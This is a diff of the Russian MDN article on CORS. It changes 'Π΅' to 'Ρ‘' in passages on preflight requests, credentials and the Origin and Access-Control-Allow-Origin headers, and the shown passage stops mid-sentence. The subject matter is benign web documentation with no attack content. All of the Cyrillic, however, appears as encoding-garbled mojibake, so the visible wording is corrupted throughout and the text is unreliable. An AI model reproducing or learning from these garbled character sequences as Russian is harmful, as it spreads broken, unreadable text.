-<p>ΠœΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ CORSΒ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ кросс-домСнныС запросы и ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΡƒΒ Π΄Π°Π½Π½Ρ‹Ρ…Β ΠΌΠ΅ΠΆΠ΄Ρƒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ ΠΈ web-сСрвСрами ΠΏΠΎ Π·Π°Ρ‰ΠΈΡ‰Π΅Π½Π½ΠΎΠΌΡƒ соСдинСнию. Π‘ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹Β ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ CORS Π² API-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π°Ρ…, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ {{domxref("XMLHttpRequest")}} ΠΈΠ»ΠΈΒ <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ½ΠΈΠ·ΠΈΡ‚ΡŒ риски, присущиС запросам с Π΄Ρ€ΡƒΠ³ΠΈΡ… источников.</p>
+<p>ΠœΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ CORSΒ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ кросс-домСнныС запросы и ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΡƒΒ Π΄Π°Π½Π½Ρ‹Ρ…Β ΠΌΠ΅ΠΆΠ΄Ρƒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ ΠΈ web-сСрвСрами ΠΏΠΎ Π·Π°Ρ‰ΠΈΡ‰Ρ‘Π½Π½ΠΎΠΌΡƒ соСдинСнию. Π‘ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹Β ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ CORS Π² API-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π°Ρ…, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ {{domxref("XMLHttpRequest")}} ΠΈΠ»ΠΈΒ <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ½ΠΈΠ·ΠΈΡ‚ΡŒ риски, присущиС запросам с Π΄Ρ€ΡƒΠ³ΠΈΡ… источников.</p>
<h2 id="ΠšΡ‚ΠΎ_Π΄ΠΎΠ»ΠΆΠ΅Π½_Ρ‡ΠΈΡ‚Π°Ρ‚ΡŒ_Π΄Π°Π½Π½ΡƒΡŽ_ΡΡ‚Π°Ρ‚ΡŒΡŽ">ΠšΡ‚ΠΎ Π΄ΠΎΠ»ΠΆΠ΅Π½ Ρ‡ΠΈΡ‚Π°Ρ‚ΡŒ Π΄Π°Π½Π½ΡƒΡŽ ΡΡ‚Π°Ρ‚ΡŒΡŽ?</h2>
@@ -31,14 +31,14 @@ translation_of: Web/HTTP/CORS
<li><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL">WebGL тСкстуры</a>.</li>
<li>Π€Ρ€Π΅ΠΉΠΌΡ‹ с изобраТСниями/Π²ΠΈΠ΄Π΅ΠΎ, Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π½Ρ‹ΠΌΠΈ Π² канвас с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ <code><a href="/en-US/docs/Web/API/CanvasRenderingContext2D/drawImage">drawImage</a></code>.</li>
<li>Π‘Ρ‚ΠΈΠ»ΠΈ (для <a href="/en-US/docs/Web/CSS/CSSOM_View">CSSOM</a> доступа).</li>
- <li>Π‘ΠΊΡ€ΠΈΠΏΡ‚Ρ‹ (для  ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹Ρ… ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠΉ).</li>
+ <li>Π‘ΠΊΡ€ΠΈΠΏΡ‚Ρ‹ (для  ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹Ρ… ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠΉ).</li>
</ul>
<p>Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ описываСт ΠΎΠ±Ρ‰ΠΈΠ΅ понятия Cross-Origin Resource Sharing ΠΈ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ обсуТдСниС Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Ρ… HTTP Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ².</p>
<h2 id="ΠžΠ±Π·ΠΎΡ€_Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ">ΠžΠ±Π·ΠΎΡ€ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ</h2>
-<p>Π‘Ρ‚Π°Π½Π΄Π°Ρ€Ρ‚ Cross-Origin Resource SharingΒ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ добавлСния Π½ΠΎΠ²Ρ‹Ρ…Β <a href="/en-US/docs/Web/HTTP/Headers">HTTP-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ²</a>,Β ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ сСрвСрам ΠΎΠΏΠΈΡΡ‹Π²Π°Ρ‚ΡŒΒ Π½Π°Π±ΠΎΡ€Β ΠΈΡΡ‚ΠΎΡ‡Π½ΠΈΠΊΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΎ Ρ‡ΠΈΡ‚Π°Ρ‚ΡŒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ, Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅ΠΌΡƒΡŽ web-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ.Β Π’ частности, для ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² HTTP-запросов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅Β ΠΌΠΎΠ³ΡƒΡ‚ привСсти ΠΊ побочным эффСктам Π½Π°Π΄ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ сСрвСра (Π² частности, для HTTPΒ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ², ΠΎΡ‚Π»ΠΈΡ‡Π½Ρ‹Ρ… ΠΎΡ‚Β {{HTTPMethod("GET")}} ΠΈΠ»ΠΈ для {{HTTPMethod("POST")}} запросов, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΡ… ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅Β <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME-</a>Ρ‚ΠΈΠΏΡ‹), спСцификация Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ "прСдпровСряли" запрос, Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Ρ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰ΠΈΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ с сСрвСра с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° HTTP-запроса {{HTTPMethod("OPTIONS")}}Β ΠΈ Π·Π°Ρ‚Π΅ΠΌ, ΠΏΠΎΠ²Π΅Ρ€Ρ… "подтвСрТдСния" с сСрвСра, отсылали фактичСский запрос с фактичСским мСтодом HTTP-запроса. Π‘Π΅Ρ€Π²Π΅Ρ€Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΎΠΏΠΎΠ²Π΅Ρ‰Π°Ρ‚ΡŒ ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΠΎΠ²Β Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π»ΠΈΒ "полномочия" (Π²ΠΊΠ»ΡŽΡ‡Π°ΡΒ <a href="/en-US/docs/Web/HTTP/Cookies">Cookies</a> ΠΈ HTTP Authentication Π΄Π°Π½Π½Ρ‹Π΅)Β Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Ρ‹ с запросом.</p>
+<p>Π‘Ρ‚Π°Π½Π΄Π°Ρ€Ρ‚ Cross-Origin Resource SharingΒ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ добавлСния Π½ΠΎΠ²Ρ‹Ρ…Β <a href="/en-US/docs/Web/HTTP/Headers">HTTP-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ²</a>,Β ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ сСрвСрам ΠΎΠΏΠΈΡΡ‹Π²Π°Ρ‚ΡŒΒ Π½Π°Π±ΠΎΡ€Β ΠΈΡΡ‚ΠΎΡ‡Π½ΠΈΠΊΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΎ Ρ‡ΠΈΡ‚Π°Ρ‚ΡŒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ, Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅ΠΌΡƒΡŽ web-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ.Β Π’ частности, для ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² HTTP-запросов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅Β ΠΌΠΎΠ³ΡƒΡ‚ привСсти ΠΊ побочным эффСктам Π½Π°Π΄ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ сСрвСра (Π² частности, для HTTPΒ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ², ΠΎΡ‚Π»ΠΈΡ‡Π½Ρ‹Ρ… ΠΎΡ‚Β {{HTTPMethod("GET")}} ΠΈΠ»ΠΈ для {{HTTPMethod("POST")}} запросов, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΡ… ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅Β <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME-</a>Ρ‚ΠΈΠΏΡ‹), спСцификация Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ "прСдпровСряли" запрос, Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Ρ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰ΠΈΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ с сСрвСра с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° HTTP-запроса {{HTTPMethod("OPTIONS")}}Β ΠΈ Π·Π°Ρ‚Π΅ΠΌ, ΠΏΠΎΠ²Π΅Ρ€Ρ… "подтвСрТдСния" с сСрвСра, отсылали фактичСский запрос с фактичСским мСтодом HTTP-запроса. Π‘Π΅Ρ€Π²Π΅Ρ€Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΎΠΏΠΎΠ²Π΅Ρ‰Π°Ρ‚ΡŒ ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΠΎΠ²Β Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π»ΠΈΒ "полномочия" (Π²ΠΊΠ»ΡŽΡ‡Π°ΡΒ <a href="/en-US/docs/Web/HTTP/Cookies">Cookies</a> ΠΈ HTTP Authentication Π΄Π°Π½Π½Ρ‹Π΅)Β Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Ρ‹ с запросом.</p>
<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰Π°Ρ сСкция описываСт сцСнарии, Π° Ρ‚Π°ΠΊΠΆΠ΅ прСдоставляСт Π°Π½Π°Π»ΠΈΠ· использования HTTP-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ².Β </p>
@@ -46,7 +46,7 @@ translation_of: Web/HTTP/CORS
<p>Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ рассмотрим Ρ‚Ρ€ΠΈ сцСнария, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ»Π»ΡŽΡΡ‚Ρ€ΠΈΡ€ΡƒΡŽΡ‚ ΠΊΠ°ΠΊ Cross-Origin Resource Sharing Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ сцСнарий ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{domxref("XMLHttpRequest")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использован для мСТсайтового взаимодСйствия, Π² любом, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰Π΅ΠΌ Π΄Π°Π½Π½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅.</p>
-<p>Π€Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Ρ‹ JavaScript ΠΊΠΎΠ΄Π°, Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹Π΅ Π² эти сСкции (Π° Ρ‚Π°ΠΊΠΆΠ΅ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Ρ‹ ΠΊΠΎΠ΄Π°, ΠΎΡ‚Π²Π΅Ρ‡Π°ΡŽΡ‰ΠΈΠ΅ Π·Π° ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½ΡƒΡŽΒ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒΒ ΠΌΠ΅ΠΆΡΠ΅Ρ€Π²Π΅Ρ€Π½Ρ‹Ρ…Β Π·Π°ΠΏΡ€ΠΎΡΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅Β Π·Π°ΠΏΡƒΡΠΊΠ°ΡŽΡ‚ΡΡ Π½Π° сСрвСрС) ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ испытаны "Π² дСйствии" Π½Π°Β <a class="external" href="http://arunranga.com/examples/access-control/">http://arunranga.com/examples/access-control/</a>, ΠΈ Π±ΡƒΠ΄ΡƒΡ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚Β {{domxref("XMLHttpRequest")}}.</p>
+<p>Π€Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Ρ‹ JavaScript ΠΊΠΎΠ΄Π°, Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹Π΅ Π² эти сСкции (Π° Ρ‚Π°ΠΊΠΆΠ΅ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Ρ‹ ΠΊΠΎΠ΄Π°, ΠΎΡ‚Π²Π΅Ρ‡Π°ΡŽΡ‰ΠΈΠ΅ Π·Π° ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½ΡƒΡŽΒ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒΒ ΠΌΠ΅ΠΆΡΠ΅Ρ€Π²Π΅Ρ€Π½Ρ‹Ρ…Β Π·Π°ΠΏΡ€ΠΎΡΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅Β Π·Π°ΠΏΡƒΡΠΊΠ°ΡŽΡ‚ΡΡ Π½Π° сСрвСрС) ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ испытаны "Π² дСйствии" Π½Π°Β <a class="external" href="http://arunranga.com/examples/access-control/">http://arunranga.com/examples/access-control/</a>, ΠΈ Π±ΡƒΠ΄ΡƒΡ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚Β {{domxref("XMLHttpRequest")}}.</p>
<p>ΠžΠ±ΡΡƒΠΆΠ΄Π΅Π½ΠΈΠ΅ Cross-Origin Resource Sharing с Ρ‚ΠΎΡ‡ΠΊΠΈ зрСния сСрвСра (Π²ΠΊΠ»ΡŽΡ‡Π°Ρ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Ρ‹ ΠΊΠΎΠ΄Π° Π½Π° PHP)Β ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒΒ Π½Π°ΠΉΠ΄Π΅Π½ΠΎΒ Π² ΡΡ‚Π°Ρ‚ΡŒΠ΅ <a class="internal" href="/en-US/docs/Web/HTTP/Server-Side_Access_Control">Server-Side Access Control (CORS)</a>.</p>
@@ -62,7 +62,7 @@ translation_of: Web/HTTP/CORS
<li>{{HTTPMethod("POST")}}</li>
</ul>
</li>
- <li>ΠšΡ€ΠΎΠΌΠ΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ автоматичСскиС ΠΏΡ€ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ΡΡ user-agent'ΠΎΠΌΒ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, {{HTTPHeader("Connection")}}, {{HTTPHeader("User-Agent")}}, ΠΈΠ»ΠΈΒ <a href="https://fetch.spec.whatwg.org/#forbidden-header-name">любой Π΄Ρ€ΡƒΠ³ΠΎΠΉ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ с ΠΈΠΌΠ΅Π½Π΅ΠΌ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ Π² спСцификации ΠΌΠ΅Ρ‚ΠΎΠ΄Π° Fetch Π² ΡΠ΅ΠΊΡ†ΠΈΠΈΒ β€œΠ—Π°ΠΏΡ€Π΅Ρ‰Π΅Π½Π½Ρ‹Π΅ ΠΈΠΌΠ΅Π½Π° Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ² (ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ нСльзя ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎ)”</a>), допустимыми Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°ΠΌΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ проставлСны Π²Ρ€ΡƒΡ‡Π½ΡƒΡŽ, ΡΠ²Π»ΡΡŽΡ‚ΡΡΒ <a href="https://fetch.spec.whatwg.org/#cors-safelisted-request-header">Ρ‚Π΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹ спСцификациСй ΠΌΠ΅Ρ‚ΠΎΠ΄Π° Fetch ΠΊΠ°ΠΊΒ β€œCORS-бСзопасныС Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ запроса”</a>, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ:
+ <li>ΠšΡ€ΠΎΠΌΠ΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ автоматичСскиС ΠΏΡ€ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ΡΡ user-agent'ΠΎΠΌΒ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, {{HTTPHeader("Connection")}}, {{HTTPHeader("User-Agent")}}, ΠΈΠ»ΠΈΒ <a href="https://fetch.spec.whatwg.org/#forbidden-header-name">любой Π΄Ρ€ΡƒΠ³ΠΎΠΉ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ с ΠΈΠΌΠ΅Π½Π΅ΠΌ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ Π² спСцификации ΠΌΠ΅Ρ‚ΠΎΠ΄Π° Fetch Π² ΡΠ΅ΠΊΡ†ΠΈΠΈΒ β€œΠ—Π°ΠΏΡ€Π΅Ρ‰Ρ‘Π½Π½Ρ‹Π΅ ΠΈΠΌΠ΅Π½Π° Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ² (ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ нСльзя ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎ)”</a>), допустимыми Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°ΠΌΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ проставлСны Π²Ρ€ΡƒΡ‡Π½ΡƒΡŽ, ΡΠ²Π»ΡΡŽΡ‚ΡΡΒ <a href="https://fetch.spec.whatwg.org/#cors-safelisted-request-header">Ρ‚Π΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹ спСцификациСй ΠΌΠ΅Ρ‚ΠΎΠ΄Π° Fetch ΠΊΠ°ΠΊΒ β€œCORS-бСзопасныС Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ запроса”</a>, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ:
<ul>
<li>{{HTTPHeader("Accept")}}</li>
<li>{{HTTPHeader("Accept-Language")}}</li>
@@ -104,7 +104,7 @@ function callOtherDomain() {
}
</pre>
-<p>Π­Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊ простому ΠΎΠ±ΠΌΠ΅Π½Ρƒ запросами ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΠΎΠΌ ΠΈ сСрвСром, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡΒ CORS Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ для ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΉ:</p>
+<p>Π­Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ простому ΠΎΠ±ΠΌΠ΅Π½Ρƒ запросами ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΠΎΠΌ ΠΈ сСрвСром, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡΒ CORS Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ для ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΉ:</p>
<p><img alt="" src="https://mdn.mozillademos.org/files/14293/simple_req.png" style="height: 224px; width: 521px;"></p>
@@ -134,13 +134,13 @@ Content-Type: application/xml
[XML Data]
</pre>
-<p>Π‘Ρ‚Ρ€ΠΎΡ‡ΠΊΠΈ 1 - 10 это Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Π½ΠΎΠ³ΠΎ запроса. Π‘Π°ΠΌΠΈΠΌ ΠΈΠ½Ρ‚Π΅Ρ€Π΅ΡΡƒΡŽΡ‰ΠΈΠΌ здСсь для нас Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠΌ являСтся {{HTTPHeader("Origin")}}, ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ Π½Π° 10 строкС. Π”Π°Π½Π½Ρ‹ΠΉ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ запрос ΠΏΡ€ΠΈΡˆΠ΅Π» ΠΈΠ· содСрТимого Π΄ΠΎΠΌΠ΅Π½Π°Β <code class="plain">http://foo.example</code>.</p>
+<p>Π‘Ρ‚Ρ€ΠΎΡ‡ΠΊΠΈ 1 - 10 это Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Π½ΠΎΠ³ΠΎ запроса. Π‘Π°ΠΌΠΈΠΌ ΠΈΠ½Ρ‚Π΅Ρ€Π΅ΡΡƒΡŽΡ‰ΠΈΠΌ здСсь для нас Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠΌ являСтся {{HTTPHeader("Origin")}}, ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ Π½Π° 10 строкС. Π”Π°Π½Π½Ρ‹ΠΉ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ запрос ΠΏΡ€ΠΈΡˆΡ‘Π» ΠΈΠ· содСрТимого Π΄ΠΎΠΌΠ΅Π½Π°Β <code class="plain">http://foo.example</code>.</p>
<p>Π‘Ρ‚Ρ€ΠΎΡ‡ΠΊΠΈΒ 13 - 22 ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‚Β HTTP-ΠΎΡ‚Π²Π΅Ρ‚ ΠΎΡ‚ сСрвСра Π½Π° Π΄ΠΎΠΌΠ΅Π½Β <code class="plain">http://bar.other</code>. Π’ ΠΎΡ‚Π²Π΅Ρ‚ сСрвСр Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ {{HTTPHeader("Access-Control-Allow-Origin")}} Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ, ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ Π½Π° 16 строкС. ИспользованиС Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ² {{HTTPHeader("Origin")}} header ΠΈ {{HTTPHeader("Access-Control-Allow-Origin")}} ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ» контроля доступа в ΠΏΡ€ΠΎΡΡ‚Π΅ΠΉΡˆΠ΅ΠΌ Π²ΠΈΠ΄Π΅. Π’ этом случаС, сСрвСр ΠΎΡ‚Π²Π΅Ρ‡Π°Π΅Ρ‚ с <code>Access-Control-Allow-Origin: *</code> Ρ‡Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΊ рСсурсу ΠΌΠΎΠΆΠ΅Ρ‚ 